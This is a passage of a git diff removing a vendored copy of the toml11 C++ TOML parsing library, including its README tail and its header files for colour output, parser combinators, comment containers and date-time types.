(@kenichiice) - - Fix include path in README -- Mohammed Alyousef (@MoAlyousef) - - Made testing optional in CMake -- Ivan Shynkarenka (@chronoxor) - - Fix compilation error in `` with MinGW -- Alex Merry (@amerry) - - Add missing include files -- sneakypete81 (@sneakypete81) - - Fix typo in error message -- Oliver Kahrmann (@founderio) - - Fix missing filename in error message if parsed file is empty -- Karl Nilsson (@karl-nilsson) - - Fix many spelling errors -- ohdarling88 (@ohdarling) - - Fix a bug in a constructor of serializer -- estshorter (@estshorter) - - Fix MSVC warning C26478 -- Philip Top (@phlptp) - - Improve checking standard library feature availability check -- Louis Marascio (@marascio) - - Fix free-nonheap-object warning - - -## Licensing terms - -This product is licensed under the terms of the [MIT License](LICENSE). - -- Copyright (c) 2017-2021 Toru Niina - -All rights reserved. diff --git a/src/toml11/toml.hpp b/src/toml11/toml.hpp deleted file mode 100644 index f34cfccca..000000000 --- a/src/toml11/toml.hpp +++ /dev/null @@ -1,46 +0,0 @@ -/* - * The MIT License (MIT) - * - * Copyright (c) 2017 Toru Niina - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ - -#ifndef TOML_FOR_MODERN_CPP -#define TOML_FOR_MODERN_CPP - -#ifndef __cplusplus -# error "__cplusplus is not defined" -#endif - -#if __cplusplus < 201103L && _MSC_VER < 1900 -# error "toml11 requires C++11 or later." -#endif - -#define TOML11_VERSION_MAJOR 3 -#define TOML11_VERSION_MINOR 7 -#define TOML11_VERSION_PATCH 0 - -#include "toml/parser.hpp" -#include "toml/literal.hpp" -#include "toml/serializer.hpp" -#include "toml/get.hpp" -#include "toml/macros.hpp" - -#endif// TOML_FOR_MODERN_CPP diff --git a/src/toml11/toml/color.hpp b/src/toml11/toml/color.hpp deleted file mode 100644 index 4cb572cb0..000000000 --- a/src/toml11/toml/color.hpp +++ /dev/null @@ -1,64 +0,0 @@ -#ifndef TOML11_COLOR_HPP -#define TOML11_COLOR_HPP -#include -#include - -#ifdef TOML11_COLORIZE_ERROR_MESSAGE -#define TOML11_ERROR_MESSAGE_COLORIZED true -#else -#define TOML11_ERROR_MESSAGE_COLORIZED false -#endif - -namespace toml -{ - -// put ANSI escape sequence to ostream -namespace color_ansi -{ -namespace detail -{ -inline int colorize_index() -{ - static const int index = std::ios_base::xalloc(); - return index; -} -} // detail - -inline std::ostream& colorize(std::ostream& os) -{ - // by default, it is zero. - os.iword(detail::colorize_index()) = 1; - return os; -} -inline std::ostream& nocolorize(std::ostream& os) -{ - os.iword(detail::colorize_index()) = 0; - return os; -} -inline std::ostream& reset (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[00m";} return os;} -inline std::ostream& bold (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[01m";} return os;} -inline std::ostream& grey (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[30m";} return os;} -inline std::ostream& red (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[31m";} return os;} -inline std::ostream& green (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[32m";} return os;} -inline std::ostream& yellow (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[33m";} return os;} -inline std::ostream& blue (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[34m";} return os;} -inline std::ostream& magenta(std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[35m";} return os;} -inline std::ostream& cyan (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[36m";} return os;} -inline std::ostream& white (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[37m";} return os;} -} // color_ansi - -// ANSI escape sequence is the only and default colorization method currently -namespace color = color_ansi; - -} // toml -#endif// TOML11_COLOR_HPP diff --git a/src/toml11/toml/combinator.hpp b/src/toml11/toml/combinator.hpp deleted file mode 100644 index 33ecca1eb..000000000 --- a/src/toml11/toml/combinator.hpp +++ /dev/null @@ -1,306 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_COMBINATOR_HPP -#define TOML11_COMBINATOR_HPP -#include -#include -#include - -#include -#include -#include -#include -#include - -#include "region.hpp" -#include "result.hpp" -#include "traits.hpp" -#include "utility.hpp" - -// they scans characters and returns region if it matches to the condition. -// when they fail, it does not change the location. -// in lexer.hpp, these are used. - -namespace toml -{ -namespace detail -{ - -// to output character as an error message. -inline std::string show_char(const char c) -{ - // It suppresses an error that occurs only in Debug mode of MSVC++ on Windows. - // I'm not completely sure but they check the value of char to be in the - // range [0, 256) and some of the COMPLETELY VALID utf-8 character sometimes - // has negative value (if char has sign). So here it re-interprets c as - // unsigned char through pointer. In general, converting pointer to a - // pointer that has different type cause UB, but `(signed|unsigned)?char` - // are one of the exceptions. Converting pointer only to char and std::byte - // (c++17) are valid. - if(std::isgraph(*reinterpret_cast(std::addressof(c)))) - { - return std::string(1, c); - } - else - { - std::array buf; - buf.fill('\0'); - const auto r = std::snprintf( - buf.data(), buf.size(), "0x%02x", static_cast(c) & 0xFF); - (void) r; // Unused variable warning - assert(r == static_cast(buf.size()) - 1); - return std::string(buf.data()); - } -} - -template -struct character -{ - static constexpr char target = C; - - static result - invoke(location& loc) - { - if(loc.iter() == loc.end()) {return none();} - const auto first = loc.iter(); - - const char c = *(loc.iter()); - if(c != target) - { - return none(); - } - loc.advance(); // update location - - return ok(region(loc, first, loc.iter())); - } -}; -template -constexpr char character::target; - -// closed interval [Low, Up]. both Low and Up are included. -template -struct in_range -{ - // assuming ascii part of UTF-8... - static_assert(Low <= Up, "lower bound should be less than upper bound."); - - static constexpr char upper = Up; - static constexpr char lower = Low; - - static result - invoke(location& loc) - { - if(loc.iter() == loc.end()) {return none();} - const auto first = loc.iter(); - - const char c = *(loc.iter()); - if(c < lower || upper < c) - { - return none(); - } - - loc.advance(); - return ok(region(loc, first, loc.iter())); - } -}; -template constexpr char in_range::upper; -template constexpr char in_range::lower; - -// keep iterator if `Combinator` matches. otherwise, increment `iter` by 1 char. -// for detecting invalid characters, like control sequences in toml string. -template -struct exclude -{ - static result - invoke(location& loc) - { - if(loc.iter() == loc.end()) {return none();} - auto first = loc.iter(); - - auto rslt = Combinator::invoke(loc); - if(rslt.is_ok()) - { - loc.reset(first); - return none(); - } - loc.reset(std::next(first)); // XXX maybe loc.advance() is okay but... - return ok(region(loc, first, loc.iter())); - } -}; - -// increment `iter`, if matches. otherwise, just return empty string. -template -struct maybe -{ - static result - invoke(location& loc) - { - const auto rslt = Combinator::invoke(loc); - if(rslt.is_ok()) - { - return rslt; - } - return ok(region(loc)); - } -}; - -template -struct sequence; - -template -struct sequence -{ - static result - invoke(location& loc) - { - const auto first = loc.iter(); - auto rslt = Head::invoke(loc); - if(rslt.is_err()) - { - loc.reset(first); - return none(); - } - return sequence::invoke(loc, std::move(rslt.unwrap()), first); - } - - // called from the above function only, recursively. - template - static result - invoke(location& loc, region reg, Iterator first) - { - const auto rslt = Head::invoke(loc); - if(rslt.is_err()) - { - loc.reset(first); - return none(); - } - reg += rslt.unwrap(); // concat regions - return sequence::invoke(loc, std::move(reg), first); - } -}; - -template -struct sequence -{ - // would be called from sequence::invoke only. - template - static result - invoke(location& loc, region reg, Iterator first) - { - const auto rslt = Head::invoke(loc); - if(rslt.is_err()) - { - loc.reset(first); - return none(); - } - reg += rslt.unwrap(); // concat regions - return ok(reg); - } -}; - -template -struct either; - -template -struct either -{ - static result - invoke(location& loc) - { - const auto rslt = Head::invoke(loc); - if(rslt.is_ok()) {return rslt;} - return either::invoke(loc); - } -}; -template -struct either -{ - static result - invoke(location& loc) - { - return Head::invoke(loc); - } -}; - -template -struct repeat; - -template struct exactly{}; -template struct at_least{}; -struct unlimited{}; - -template -struct repeat> -{ - static result - invoke(location& loc) - { - region retval(loc); - const auto first = loc.iter(); - for(std::size_t i=0; i -struct repeat> -{ - static result - invoke(location& loc) - { - region retval(loc); - - const auto first = loc.iter(); - for(std::size_t i=0; i -struct repeat -{ - static result - invoke(location& loc) - { - region retval(loc); - while(true) - { - auto rslt = T::invoke(loc); - if(rslt.is_err()) - { - return ok(std::move(retval)); - } - retval += rslt.unwrap(); - } - } -}; - -} // detail -} // toml -#endif// TOML11_COMBINATOR_HPP diff --git a/src/toml11/toml/comments.hpp b/src/toml11/toml/comments.hpp deleted file mode 100644 index ec2504117..000000000 --- a/src/toml11/toml/comments.hpp +++ /dev/null @@ -1,472 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_COMMENTS_HPP -#define TOML11_COMMENTS_HPP -#include -#include -#include -#include -#include -#include -#include - -#ifdef TOML11_PRESERVE_COMMENTS_BY_DEFAULT -# define TOML11_DEFAULT_COMMENT_STRATEGY ::toml::preserve_comments -#else -# define TOML11_DEFAULT_COMMENT_STRATEGY ::toml::discard_comments -#endif - -// This file provides mainly two classes, `preserve_comments` and `discard_comments`. -// Those two are a container that have the same interface as `std::vector` -// but bahaves in the opposite way. `preserve_comments` is just the same as -// `std::vector` and each `std::string` corresponds to a comment line. -// Conversely, `discard_comments` discards all the strings and ignores everything -// assigned in it. `discard_comments` is always empty and you will encounter an -// error whenever you access to the element. -namespace toml -{ -struct discard_comments; // forward decl - -// use it in the following way -// -// const toml::basic_value data = -// toml::parse("example.toml"); -// -// the interface is almost the same as std::vector. -struct preserve_comments -{ - // `container_type` is not provided in discard_comments. - // do not use this inner-type in a generic code. - using container_type = std::vector; - - using size_type = container_type::size_type; - using difference_type = container_type::difference_type; - using value_type = container_type::value_type; - using reference = container_type::reference; - using const_reference = container_type::const_reference; - using pointer = container_type::pointer; - using const_pointer = container_type::const_pointer; - using iterator = container_type::iterator; - using const_iterator = container_type::const_iterator; - using reverse_iterator = container_type::reverse_iterator; - using const_reverse_iterator = container_type::const_reverse_iterator; - - preserve_comments() = default; - ~preserve_comments() = default; - preserve_comments(preserve_comments const&) = default; - preserve_comments(preserve_comments &&) = default; - preserve_comments& operator=(preserve_comments const&) = default; - preserve_comments& operator=(preserve_comments &&) = default; - - explicit preserve_comments(const std::vector& c): comments(c){} - explicit preserve_comments(std::vector&& c) - : comments(std::move(c)) - {} - preserve_comments& operator=(const std::vector& c) - { - comments = c; - return *this; - } - preserve_comments& operator=(std::vector&& c) - { - comments = std::move(c); - return *this; - } - - explicit preserve_comments(const discard_comments&) {} - - explicit preserve_comments(size_type n): comments(n) {} - preserve_comments(size_type n, const std::string& x): comments(n, x) {} - preserve_comments(std::initializer_list x): comments(x) {} - template - preserve_comments(InputIterator first, InputIterator last) - : comments(first, last) - {} - - template - void assign(InputIterator first, InputIterator last) {comments.assign(first, last);} - void assign(std::initializer_list ini) {comments.assign(ini);} - void assign(size_type n, const std::string& val) {comments.assign(n, val);} - - // Related to the issue #97. - // - // It is known that `std::vector::insert` and `std::vector::erase` in - // the standard library implementation included in GCC 4.8.5 takes - // `std::vector::iterator` instead of `std::vector::const_iterator`. - // Because of the const-correctness, we cannot convert a `const_iterator` to - // an `iterator`. It causes compilation error in GCC 4.8.5. -#if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) && !defined(__clang__) -# if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) <= 40805 -# define TOML11_WORKAROUND_GCC_4_8_X_STANDARD_LIBRARY_IMPLEMENTATION -# endif -#endif - -#ifdef TOML11_WORKAROUND_GCC_4_8_X_STANDARD_LIBRARY_IMPLEMENTATION - iterator insert(iterator p, const std::string& x) - { - return comments.insert(p, x); - } - iterator insert(iterator p, std::string&& x) - { - return comments.insert(p, std::move(x)); - } - void insert(iterator p, size_type n, const std::string& x) - { - return comments.insert(p, n, x); - } - template - void insert(iterator p, InputIterator first, InputIterator last) - { - return comments.insert(p, first, last); - } - void insert(iterator p, std::initializer_list ini) - { - return comments.insert(p, ini); - } - - template - iterator emplace(iterator p, Ts&& ... args) - { - return comments.emplace(p, std::forward(args)...); - } - - iterator erase(iterator pos) {return comments.erase(pos);} - iterator erase(iterator first, iterator last) - { - return comments.erase(first, last); - } -#else - iterator insert(const_iterator p, const std::string& x) - { - return comments.insert(p, x); - } - iterator insert(const_iterator p, std::string&& x) - { - return comments.insert(p, std::move(x)); - } - iterator insert(const_iterator p, size_type n, const std::string& x) - { - return comments.insert(p, n, x); - } - template - iterator insert(const_iterator p, InputIterator first, InputIterator last) - { - return comments.insert(p, first, last); - } - iterator insert(const_iterator p, std::initializer_list ini) - { - return comments.insert(p, ini); - } - - template - iterator emplace(const_iterator p, Ts&& ... args) - { - return comments.emplace(p, std::forward(args)...); - } - - iterator erase(const_iterator pos) {return comments.erase(pos);} - iterator erase(const_iterator first, const_iterator last) - { - return comments.erase(first, last); - } -#endif - - void swap(preserve_comments& other) {comments.swap(other.comments);} - - void push_back(const std::string& v) {comments.push_back(v);} - void push_back(std::string&& v) {comments.push_back(std::move(v));} - void pop_back() {comments.pop_back();} - - template - void emplace_back(Ts&& ... args) {comments.emplace_back(std::forward(args)...);} - - void clear() {comments.clear();} - - size_type size() const noexcept {return comments.size();} - size_type max_size() const noexcept {return comments.max_size();} - size_type capacity() const noexcept {return comments.capacity();} - bool empty() const noexcept {return comments.empty();} - - void reserve(size_type n) {comments.reserve(n);} - void resize(size_type n) {comments.resize(n);} - void resize(size_type n, const std::string& c) {comments.resize(n, c);} - void shrink_to_fit() {comments.shrink_to_fit();} - - reference operator[](const size_type n) noexcept {return comments[n];} - const_reference operator[](const size_type n) const noexcept {return comments[n];} - reference at(const size_type n) {return comments.at(n);} - const_reference at(const size_type n) const {return comments.at(n);} - reference front() noexcept {return comments.front();} - const_reference front() const noexcept {return comments.front();} - reference back() noexcept {return comments.back();} - const_reference back() const noexcept {return comments.back();} - - pointer data() noexcept {return comments.data();} - const_pointer data() const noexcept {return comments.data();} - - iterator begin() noexcept {return comments.begin();} - iterator end() noexcept {return comments.end();} - const_iterator begin() const noexcept {return comments.begin();} - const_iterator end() const noexcept {return comments.end();} - const_iterator cbegin() const noexcept {return comments.cbegin();} - const_iterator cend() const noexcept {return comments.cend();} - - reverse_iterator rbegin() noexcept {return comments.rbegin();} - reverse_iterator rend() noexcept {return comments.rend();} - const_reverse_iterator rbegin() const noexcept {return comments.rbegin();} - const_reverse_iterator rend() const noexcept {return comments.rend();} - const_reverse_iterator crbegin() const noexcept {return comments.crbegin();} - const_reverse_iterator crend() const noexcept {return comments.crend();} - - friend bool operator==(const preserve_comments&, const preserve_comments&); - friend bool operator!=(const preserve_comments&, const preserve_comments&); - friend bool operator< (const preserve_comments&, const preserve_comments&); - friend bool operator<=(const preserve_comments&, const preserve_comments&); - friend bool operator> (const preserve_comments&, const preserve_comments&); - friend bool operator>=(const preserve_comments&, const preserve_comments&); - - friend void swap(preserve_comments&, std::vector&); - friend void swap(std::vector&, preserve_comments&); - - private: - - container_type comments; -}; - -inline bool operator==(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments == rhs.comments;} -inline bool operator!=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments != rhs.comments;} -inline bool operator< (const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments < rhs.comments;} -inline bool operator<=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments <= rhs.comments;} -inline bool operator> (const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments > rhs.comments;} -inline bool operator>=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments >= rhs.comments;} - -inline void swap(preserve_comments& lhs, preserve_comments& rhs) -{ - lhs.swap(rhs); - return; -} -inline void swap(preserve_comments& lhs, std::vector& rhs) -{ - lhs.comments.swap(rhs); - return; -} -inline void swap(std::vector& lhs, preserve_comments& rhs) -{ - lhs.swap(rhs.comments); - return; -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const preserve_comments& com) -{ - for(const auto& c : com) - { - os << '#' << c << '\n'; - } - return os; -} - -namespace detail -{ - -// To provide the same interface with `preserve_comments`, `discard_comments` -// should have an iterator. But it does not contain anything, so we need to -// add an iterator that points nothing. -// -// It always points null, so DO NOT unwrap this iterator. It always crashes -// your program. -template -struct empty_iterator -{ - using value_type = T; - using reference_type = typename std::conditional::type; - using pointer_type = typename std::conditional::type; - using difference_type = std::ptrdiff_t; - using iterator_category = std::random_access_iterator_tag; - - empty_iterator() = default; - ~empty_iterator() = default; - empty_iterator(empty_iterator const&) = default; - empty_iterator(empty_iterator &&) = default; - empty_iterator& operator=(empty_iterator const&) = default; - empty_iterator& operator=(empty_iterator &&) = default; - - // DO NOT call these operators. - reference_type operator*() const noexcept {std::terminate();} - pointer_type operator->() const noexcept {return nullptr;} - reference_type operator[](difference_type) const noexcept {return this->operator*();} - - // These operators do nothing. - empty_iterator& operator++() noexcept {return *this;} - empty_iterator operator++(int) noexcept {return *this;} - empty_iterator& operator--() noexcept {return *this;} - empty_iterator operator--(int) noexcept {return *this;} - - empty_iterator& operator+=(difference_type) noexcept {return *this;} - empty_iterator& operator-=(difference_type) noexcept {return *this;} - - empty_iterator operator+(difference_type) const noexcept {return *this;} - empty_iterator operator-(difference_type) const noexcept {return *this;} -}; - -template -bool operator==(const empty_iterator&, const empty_iterator&) noexcept {return true;} -template -bool operator!=(const empty_iterator&, const empty_iterator&) noexcept {return false;} -template -bool operator< (const empty_iterator&, const empty_iterator&) noexcept {return false;} -template -bool operator<=(const empty_iterator&, const empty_iterator&) noexcept {return true;} -template -bool operator> (const empty_iterator&, const empty_iterator&) noexcept {return false;} -template -bool operator>=(const empty_iterator&, const empty_iterator&) noexcept {return true;} - -template -typename empty_iterator::difference_type -operator-(const empty_iterator&, const empty_iterator&) noexcept {return 0;} - -template -empty_iterator -operator+(typename empty_iterator::difference_type, const empty_iterator& rhs) noexcept {return rhs;} -template -empty_iterator -operator+(const empty_iterator& lhs, typename empty_iterator::difference_type) noexcept {return lhs;} - -} // detail - -// The default comment type. It discards all the comments. It requires only one -// byte to contain, so the memory footprint is smaller than preserve_comments. -// -// It just ignores `push_back`, `insert`, `erase`, and any other modifications. -// IT always returns size() == 0, the iterator taken by `begin()` is always the -// same as that of `end()`, and accessing through `operator[]` or iterators -// always causes a segmentation fault. DO NOT access to the element of this. -// -// Why this is chose as the default type is because the last version (2.x.y) -// does not contain any comments in a value. To minimize the impact on the -// efficiency, this is chosen as a default. -// -// To reduce the memory footprint, later we can try empty base optimization (EBO). -struct discard_comments -{ - using size_type = std::size_t; - using difference_type = std::ptrdiff_t; - using value_type = std::string; - using reference = std::string&; - using const_reference = std::string const&; - using pointer = std::string*; - using const_pointer = std::string const*; - using iterator = detail::empty_iterator; - using const_iterator = detail::empty_iterator; - using reverse_iterator = detail::empty_iterator; - using const_reverse_iterator = detail::empty_iterator; - - discard_comments() = default; - ~discard_comments() = default; - discard_comments(discard_comments const&) = default; - discard_comments(discard_comments &&) = default; - discard_comments& operator=(discard_comments const&) = default; - discard_comments& operator=(discard_comments &&) = default; - - explicit discard_comments(const std::vector&) noexcept {} - explicit discard_comments(std::vector&&) noexcept {} - discard_comments& operator=(const std::vector&) noexcept {return *this;} - discard_comments& operator=(std::vector&&) noexcept {return *this;} - - explicit discard_comments(const preserve_comments&) noexcept {} - - explicit discard_comments(size_type) noexcept {} - discard_comments(size_type, const std::string&) noexcept {} - discard_comments(std::initializer_list) noexcept {} - template - discard_comments(InputIterator, InputIterator) noexcept {} - - template - void assign(InputIterator, InputIterator) noexcept {} - void assign(std::initializer_list) noexcept {} - void assign(size_type, const std::string&) noexcept {} - - iterator insert(const_iterator, const std::string&) {return iterator{};} - iterator insert(const_iterator, std::string&&) {return iterator{};} - iterator insert(const_iterator, size_type, const std::string&) {return iterator{};} - template - iterator insert(const_iterator, InputIterator, InputIterator) {return iterator{};} - iterator insert(const_iterator, std::initializer_list) {return iterator{};} - - template - iterator emplace(const_iterator, Ts&& ...) {return iterator{};} - iterator erase(const_iterator) {return iterator{};} - iterator erase(const_iterator, const_iterator) {return iterator{};} - - void swap(discard_comments&) {return;} - - void push_back(const std::string&) {return;} - void push_back(std::string&& ) {return;} - void pop_back() {return;} - - template - void emplace_back(Ts&& ...) {return;} - - void clear() {return;} - - size_type size() const noexcept {return 0;} - size_type max_size() const noexcept {return 0;} - size_type capacity() const noexcept {return 0;} - bool empty() const noexcept {return true;} - - void reserve(size_type) {return;} - void resize(size_type) {return;} - void resize(size_type, const std::string&) {return;} - void shrink_to_fit() {return;} - - // DO NOT access to the element of this container. This container is always - // empty, so accessing through operator[], front/back, data causes address - // error. - - reference operator[](const size_type) noexcept {return *data();} - const_reference operator[](const size_type) const noexcept {return *data();} - reference at(const size_type) {throw std::out_of_range("toml::discard_comment is always empty.");} - const_reference at(const size_type) const {throw std::out_of_range("toml::discard_comment is always empty.");} - reference front() noexcept {return *data();} - const_reference front() const noexcept {return *data();} - reference back() noexcept {return *data();} - const_reference back() const noexcept {return *data();} - - pointer data() noexcept {return nullptr;} - const_pointer data() const noexcept {return nullptr;} - - iterator begin() noexcept {return iterator{};} - iterator end() noexcept {return iterator{};} - const_iterator begin() const noexcept {return const_iterator{};} - const_iterator end() const noexcept {return const_iterator{};} - const_iterator cbegin() const noexcept {return const_iterator{};} - const_iterator cend() const noexcept {return const_iterator{};} - - reverse_iterator rbegin() noexcept {return iterator{};} - reverse_iterator rend() noexcept {return iterator{};} - const_reverse_iterator rbegin() const noexcept {return const_iterator{};} - const_reverse_iterator rend() const noexcept {return const_iterator{};} - const_reverse_iterator crbegin() const noexcept {return const_iterator{};} - const_reverse_iterator crend() const noexcept {return const_iterator{};} -}; - -inline bool operator==(const discard_comments&, const discard_comments&) noexcept {return true;} -inline bool operator!=(const discard_comments&, const discard_comments&) noexcept {return false;} -inline bool operator< (const discard_comments&, const discard_comments&) noexcept {return false;} -inline bool operator<=(const discard_comments&, const discard_comments&) noexcept {return true;} -inline bool operator> (const discard_comments&, const discard_comments&) noexcept {return false;} -inline bool operator>=(const discard_comments&, const discard_comments&) noexcept {return true;} - -inline void swap(const discard_comments&, const discard_comments&) noexcept {return;} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const discard_comments&) -{ - return os; -} - -} // toml11 -#endif// TOML11_COMMENTS_HPP diff --git a/src/toml11/toml/datetime.hpp b/src/toml11/toml/datetime.hpp deleted file mode 100644 index d8127c150..000000000 --- a/src/toml11/toml/datetime.hpp +++ /dev/null @@ -1,631 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_DATETIME_HPP -#define TOML11_DATETIME_HPP -#include -#include -#include - -#include -#include -#include -#include -#include - -namespace toml -{ - -// To avoid non-threadsafe std::localtime. In C11 (not C++11!), localtime_s is -// provided in the absolutely same purpose, but C++11 is actually not compatible -// with C11. We need to dispatch the function depending on the OS. -namespace detail -{ -// TODO: find more sophisticated way to handle this -#if (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 1) || defined(_XOPEN_SOURCE) || defined(_BSD_SOURCE) || defined(_SVID_SOURCE) || defined(_POSIX_SOURCE) -inline std::tm localtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::localtime_r(src, &dst); - if (!result) { throw std::runtime_error("localtime_r failed."); } - return dst; -} -inline std::tm gmtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::gmtime_r(src, &dst); - if (!result) { throw std::runtime_error("gmtime_r failed."); } - return dst; -} -#elif defined(_MSC_VER) -inline std::tm localtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::localtime_s(&dst, src); - if (result) { throw std::runtime_error("localtime_s failed."); } - return dst; -} -inline std::tm gmtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::gmtime_s(&dst, src); - if (result) { throw std::runtime_error("gmtime_s failed."); } - return dst; -} -#else // fallback. not threadsafe -inline std::tm localtime_s(const std::time_t* src) -{ - const auto result = std::localtime(src); - if (!result) { throw std::runtime_error("localtime failed."); } - return *result; -} -inline std::tm gmtime_s(const std::time_t* src) -{ - const auto result = std::gmtime(src); - if (!result) { throw std::runtime_error("gmtime failed."); } - return *result; -} -#endif -} // detail - -enum class month_t : std::uint8_t -{ - Jan = 0, - Feb = 1, - Mar = 2, - Apr = 3, - May = 4, - Jun = 5, - Jul = 6, - Aug = 7, - Sep = 8, - Oct = 9, - Nov = 10, - Dec = 11 -}; - -struct local_date -{ - std::int16_t year; // A.D. (like, 2018) - std::uint8_t month; // [0, 11] - std::uint8_t day; // [1, 31] - - local_date(int y, month_t m, int d) - : year (static_cast(y)), - month(static_cast(m)), - day (static_cast(d)) - {} - - explicit local_date(const std::tm& t) - : year (static_cast(t.tm_year + 1900)), - month(static_cast(t.tm_mon)), - day (static_cast(t.tm_mday)) - {} - - explicit local_date(const std::chrono::system_clock::time_point& tp) - { - const auto t = std::chrono::system_clock::to_time_t(tp); - const auto time = detail::localtime_s(&t); - *this = local_date(time); - } - - explicit local_date(const std::time_t t) - : local_date(std::chrono::system_clock::from_time_t(t)) - {} - - operator std::chrono::system_clock::time_point() const - { - // std::mktime returns date as local time zone. no conversion needed - std::tm t; - t.tm_sec = 0; - t.tm_min = 0; - t.tm_hour = 0; - t.tm_mday = static_cast(this->day); - t.tm_mon = static_cast(this->month); - t.tm_year = static_cast(this->year) - 1900; - t.tm_wday = 0; // the value will be ignored - t.tm_yday = 0; // the value will be ignored - t.tm_isdst = -1; - return std::chrono::system_clock::from_time_t(std::mktime(&t)); - } - - operator std::time_t() const - { - return std::chrono::system_clock::to_time_t( - std::chrono::system_clock::time_point(*this)); - } - - local_date() = default; - ~local_date() = default; - local_date(local_date const&) = default; - local_date(local_date&&) = default; - local_date& operator=(local_date const&) = default; - local_date& operator=(local_date&&) = default; -}; - -inline bool operator==(const local_date& lhs, const local_date& rhs) -{ - return std::make_tuple(lhs.year, lhs.month, lhs.day) == - std::make_tuple(rhs.year, rhs.month, rhs.day); -} -inline bool operator!=(const local_date& lhs, const local_date& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const local_date& lhs, const local_date& rhs) -{ - return std::make_tuple(lhs.year, lhs.month, lhs.day) < - std::make_tuple(rhs.year, rhs.month, rhs.day); -} -inline bool operator<=(const local_date& lhs, const local_date& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const local_date& lhs, const local_date& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const local_date& lhs, const local_date& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const local_date& date) -{ - os << std::setfill('0') << std::setw(4) << static_cast(date.year ) << '-'; - os << std::setfill('0') << std::setw(2) << static_cast(date.month) + 1 << '-'; - os << std::setfill('0') << std::setw(2) << static_cast(date.day ) ; - return os; -} - -struct local_time -{ - std::uint8_t hour; // [0, 23] - std::uint8_t minute; // [0, 59] - std::uint8_t second; // [0, 60] - std::uint16_t millisecond; // [0, 999] - std::uint16_t microsecond; // [0, 999] - std::uint16_t nanosecond; // [0, 999] - - local_time(int h, int m, int s, - int ms = 0, int us = 0, int ns = 0) - : hour (static_cast(h)), - minute(static_cast(m)), - second(static_cast(s)), - millisecond(static_cast(ms)), - microsecond(static_cast(us)), - nanosecond (static_cast(ns)) - {} - - explicit local_time(const std::tm& t) - : hour (static_cast(t.tm_hour)), - minute(static_cast(t.tm_min)), - second(static_cast(t.tm_sec)), - millisecond(0), microsecond(0), nanosecond(0) - {} - - template - explicit local_time(const std::chrono::duration& t) - { - const auto h = std::chrono::duration_cast(t); - this->hour = static_cast(h.count()); - const auto t2 = t - h; - const auto m = std::chrono::duration_cast(t2); - this->minute = static_cast(m.count()); - const auto t3 = t2 - m; - const auto s = std::chrono::duration_cast(t3); - this->second = static_cast(s.count()); - const auto t4 = t3 - s; - const auto ms = std::chrono::duration_cast(t4); - this->millisecond = static_cast(ms.count()); - const auto t5 = t4 - ms; - const auto us = std::chrono::duration_cast(t5); - this->microsecond = static_cast(us.count()); - const auto t6 = t5 - us; - const auto ns = std::chrono::duration_cast(t6); - this->nanosecond = static_cast(ns.count()); - } - - operator std::chrono::nanoseconds() const - { - return std::chrono::nanoseconds (this->nanosecond) + - std::chrono::microseconds(this->microsecond) + - std::chrono::milliseconds(this->millisecond) + - std::chrono::seconds(this->second) + - std::chrono::minutes(this->minute) + - std::chrono::hours(this->hour); - } - - local_time() = default; - ~local_time() = default; - local_time(local_time const&) = default; - local_time(local_time&&) = default; - local_time& operator=(local_time const&) = default; - local_time& operator=(local_time&&) = default; -}; - -inline bool operator==(const local_time& lhs, const local_time& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute, lhs.second, lhs.millisecond, lhs.microsecond, lhs.nanosecond) == - std::make_tuple(rhs.hour, 